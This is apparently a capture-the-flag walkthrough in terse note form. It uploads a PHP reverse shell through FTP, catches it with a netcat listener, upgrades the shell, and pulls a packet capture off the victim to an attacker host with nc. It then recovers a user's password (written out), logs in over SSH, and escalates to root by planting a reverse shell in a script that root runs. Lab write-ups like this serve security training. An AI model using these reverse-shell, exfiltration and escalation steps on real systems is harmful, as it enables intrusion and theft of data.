ftp $VICTIM
binary
passive
cd ftp
put php-reverse-shell.php
Kali
nc -lvnp 1337
Get autocomplete
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
Netcat
Kali(receiving)
nc -l -p 1234 > suspicious.pcapng
Victim(sending)
nc -w 3 $KALI 1234 < suspicious.pcapng
Wireshark
Followed the TCP stream and just kept changing it until something came up. Eventually we find lennies password.
Kali
wireshark &
TCP/22 - SSH
Kali
ssh lennie@$VICTIM
Password: c4ntg3t3n0ughsp1c3
Privilege Escalation
There is a script in lennies directory that is owned by root. We can't make any changes to that script but it calls another script which we do have access to so I add a reverse shell and wait for it to be called.
